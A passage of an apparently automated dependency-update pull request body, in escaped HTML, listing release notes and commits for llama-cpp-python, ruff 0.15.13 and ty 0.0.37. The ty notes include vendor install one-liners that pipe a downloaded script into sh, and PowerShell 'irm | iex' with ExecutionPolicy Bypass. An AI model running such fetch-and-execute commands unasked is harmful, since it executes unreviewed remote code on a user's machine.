href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.23\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ruff` from 0.15.12 to 0.15.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/releases\"\u003eruff's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.13\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a rule to flag lazy imports that are eagerly evaluated (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25016\"\u003e#25016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Standardize diagnostic message (\u003ccode\u003ePLR0914\u003c/code\u003e, \u003ccode\u003ePLR0917\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24996\"\u003e#24996\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eF811\u003c/code\u003e false positive for class methods (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24933\"\u003e#24933\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix setting selection for multi-folder workspace (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24819\"\u003e#24819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix false positive for lines with leading whitespace (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25122\"\u003e#25122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pyi\u003c/code\u003e] Fix false positive for f-string debug specifier (\u003ccode\u003ePYI016\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24098\"\u003e#24098\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAlways include panic payload in panic diagnostic message (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24873\"\u003e#24873\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict \u003ccode\u003ePYI034\u003c/code\u003e for in-place operations to enclosing class (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24511\"\u003e#24511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove error message for parameters that are declared \u003ccode\u003eglobal\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24902\"\u003e#24902\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate known stdlib (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25103\"\u003e#25103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd TOML examples to \u003ccode\u003e--config\u003c/code\u003e help text (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25013\"\u003e#25013\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eColorize ruff check 'All checks passed' (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25085\"\u003e#25085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eConfiguration\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIncrease max allowed value of \u003ccode\u003eline-length\u003c/code\u003e setting (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24962\"\u003e#24962\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eD203\u003c/code\u003e to rules that conflict with the formatter (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25044\"\u003e#25044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify \u003ccode\u003eCOM819\u003c/code\u003e and formatter interaction (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25045\"\u003e#25045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify that \u003ccode\u003eNotImplemented\u003c/code\u003e is a value, not an exception (\u003ccode\u003eF901\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25054\"\u003e#25054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate number of lint rules supported (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24942\"\u003e#24942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSimplify the playground's markdown template (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24924\"\u003e#24924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md\"\u003eruff's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.13\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a rule to flag lazy imports that are eagerly evaluated (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25016\"\u003e#25016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Standardize diagnostic message (\u003ccode\u003ePLR0914\u003c/code\u003e, \u003ccode\u003ePLR0917\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24996\"\u003e#24996\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eF811\u003c/code\u003e false positive for class methods (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24933\"\u003e#24933\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix setting selection for multi-folder workspace (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24819\"\u003e#24819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix false positive for lines with leading whitespace (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25122\"\u003e#25122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pyi\u003c/code\u003e] Fix false positive for f-string debug specifier (\u003ccode\u003ePYI016\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24098\"\u003e#24098\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAlways include panic payload in panic diagnostic message (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24873\"\u003e#24873\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict \u003ccode\u003ePYI034\u003c/code\u003e for in-place operations to enclosing class (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24511\"\u003e#24511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove error message for parameters that are declared \u003ccode\u003eglobal\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24902\"\u003e#24902\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate known stdlib (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25103\"\u003e#25103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd TOML examples to \u003ccode\u003e--config\u003c/code\u003e help text (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25013\"\u003e#25013\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eColorize ruff check 'All checks passed' (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25085\"\u003e#25085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eConfiguration\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIncrease max allowed value of \u003ccode\u003eline-length\u003c/code\u003e setting (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24962\"\u003e#24962\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eD203\u003c/code\u003e to rules that conflict with the formatter (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25044\"\u003e#25044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify \u003ccode\u003eCOM819\u003c/code\u003e and formatter interaction (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25045\"\u003e#25045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify that \u003ccode\u003eNotImplemented\u003c/code\u003e is a value, not an exception (\u003ccode\u003eF901\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25054\"\u003e#25054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate number of lint rules supported (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24942\"\u003e#24942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSimplify the playground's markdown template (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24924\"\u003e#24924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/2afb467ce397e4a89c13a0a814c62cfecb0e9e49\"\u003e\u003ccode\u003e2afb467\u003c/code\u003e\u003c/a\u003e Bump 0.15.13 (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25157\"\u003e#25157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/300879600fa3af7cde1e675c63de6ad9d0797d1b\"\u003e\u003ccode\u003e3008796\u003c/code\u003e\u003c/a\u003e [ty] classify TypeVar semantic tokens as type parameters (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/24891\"\u003e#24891\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/79470e31877acb6074f3bbff2a49e508822ae4e8\"\u003e\u003ccode\u003e79470e3\u003c/code\u003e\u003c/a\u003e [\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/2522549901d50f18775999f0fb802b19229417f0\"\u003e\u003ccode\u003e2522549\u003c/code\u003e\u003c/a\u003e Remove shellcheck from prek (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25154\"\u003e#25154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/7db7170020f539d6d2bc01dbd0b0c09fab91dc06\"\u003e\u003ccode\u003e7db7170\u003c/code\u003e\u003c/a\u003e [ty] Support TypedDict key completions in incomplete, anonymous contexts (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25\"\u003e#25\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/bb3dd535f1c5a83e2e56ac93a771fadbeeceebd0\"\u003e\u003ccode\u003ebb3dd53\u003c/code\u003e\u003c/a\u003e [ty] Run full iteration analysis on narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25143\"\u003e#25143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/828cdb7732efcb16a53f4ee5f011cf653b834d1a\"\u003e\u003ccode\u003e828cdb7\u003c/code\u003e\u003c/a\u003e [ty] Isolate file-watching test environment (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25151\"\u003e#25151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/89e1d8670ea4d3af60c8143ee552dc750200718d\"\u003e\u003ccode\u003e89e1d86\u003c/code\u003e\u003c/a\u003e [ty] Preserve TypedDict keys through dict unpacking (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/24523\"\u003e#24523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/86f3064d6fffa5697d174f26b840bd6857b381da\"\u003e\u003ccode\u003e86f3064\u003c/code\u003e\u003c/a\u003e [ty] Avoid accessing \u003ccode\u003eargs[0]\u003c/code\u003e for \u003ccode\u003estatic_assert\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25149\"\u003e#25149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/ed819f947dc27e36eac8bb3134153c4668d76a3a\"\u003e\u003ccode\u003eed819f9\u003c/code\u003e\u003c/a\u003e [ty] Treat custom enum \u003ccode\u003e__new__\u003c/code\u003e values as dynamic (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25136\"\u003e#25136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ruff/compare/0.15.12...0.15.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.37\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.37\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-16.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid unsound \u003ccode\u003enot in\u003c/code\u003e narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25161\"\u003e#25161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix async iteration over narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25155\"\u003e#25155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in double-inference for single starred positional TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25176\"\u003e#25176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in disjoint base check (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25187\"\u003e#25187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in recursive binary inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25189\"\u003e#25189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in cyclic \u003ccode\u003e__new__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25185\"\u003e#25185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in \u003ccode\u003ereveal_protocol\u003c/code\u003e, \u003ccode\u003ereveal_mro\u003c/code\u003e, etc. with keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25179\"\u003e#25179\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in imported overload definition (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25168\"\u003e#25168\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't show argument inlay for case-insensitive matches or prefix/suffixes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25174\"\u003e#25174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduce CPU usage of the LSP when switching between large changesets (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25142\"\u003e#25142\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid enforcing \u003ccode\u003e__new__\u003c/code\u003e with custom metaclasses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25180\"\u003e#25180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMake overload public type reachability-aware (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25171\"\u003e#25171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOnly specialized types of generic class instances should influence variance (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25124\"\u003e#25124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve ParamSpec argument context through wrapper calls (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24934\"\u003e#24934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport partially specialized type context for collection literals (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24506\"\u003e#24506\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RasmusNygren\"\u003e\u003ccode\u003e@​RasmusNygren\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ibraheemdev\"\u003e\u003ccode\u003e@​ibraheemdev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eInstall ty 0.0.37\u003c/h2\u003e\n\u003ch3\u003eInstall prebuilt binaries via shell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003ecurl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ty/releases/download/0.0.37/ty-installer.sh | sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eInstall prebuilt binaries via powershell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003epowershell -ExecutionPolicy Bypass -c \u0026quot;irm https://releases.astral.sh/github/ty/releases/download/0.0.37/ty-installer.ps1 | iex\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.37\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-16.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid unsound \u003ccode\u003enot in\u003c/code\u003e narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25161\"\u003e#25161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix async iteration over narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25155\"\u003e#25155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in double-inference for single starred positional TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25176\"\u003e#25176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in disjoint base check (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25187\"\u003e#25187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in recursive binary inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25189\"\u003e#25189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in cyclic \u003ccode\u003e__new__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25185\"\u003e#25185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in \u003ccode\u003ereveal_protocol\u003c/code\u003e, \u003ccode\u003ereveal_mro\u003c/code\u003e, etc. with keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25179\"\u003e#25179\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in imported overload definition (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25168\"\u003e#25168\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't show argument inlay for case-insensitive matches or prefix/suffixes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25174\"\u003e#25174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduce CPU usage of the LSP when switching between large changesets (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25142\"\u003e#25142\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid enforcing \u003ccode\u003e__new__\u003c/code\u003e with custom metaclasses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25180\"\u003e#25180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMake overload public type reachability-aware (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25171\"\u003e#25171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOnly specialized types of generic class instances should influence variance (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25124\"\u003e#25124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve ParamSpec argument context through wrapper calls (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24934\"\u003e#24934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport partially specialized type context for collection literals (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24506\"\u003e#24506\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RasmusNygren\"\u003e\u003ccode\u003e@​RasmusNygren\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ibraheemdev\"\u003e\u003ccode\u003e@​ibraheemdev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.0.36\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix Go To-Definition for self-imported submodules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25106\"\u003e#25106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eClassVar[Self]\u003c/code\u003e assignment checks for class objects (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24657\"\u003e#24657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix attribute access on \u003ccode\u003eCallable\u003c/code\u003e-bounded TypeVars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24793\"\u003e#24793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from TypedDict schema cycle with \u003ccode\u003eSelf\u003c/code\u003e fields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25094\"\u003e#25094\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from accessing \u003ccode\u003eargs[0]\u003c/code\u003e for \u003ccode\u003estatic_assert\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25149\"\u003e#25149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from non-name walrus target access (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25121\"\u003e#25121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix singleton classification for runtime typing objects (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25099\"\u003e#25099\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGuard self-referential \u003ccode\u003eTypeOf\u003c/code\u003e recursion in generic callables (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24668\"\u003e#24668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve lexical ParamSpec scope for returned Callable annotations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24909\"\u003e#24909\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 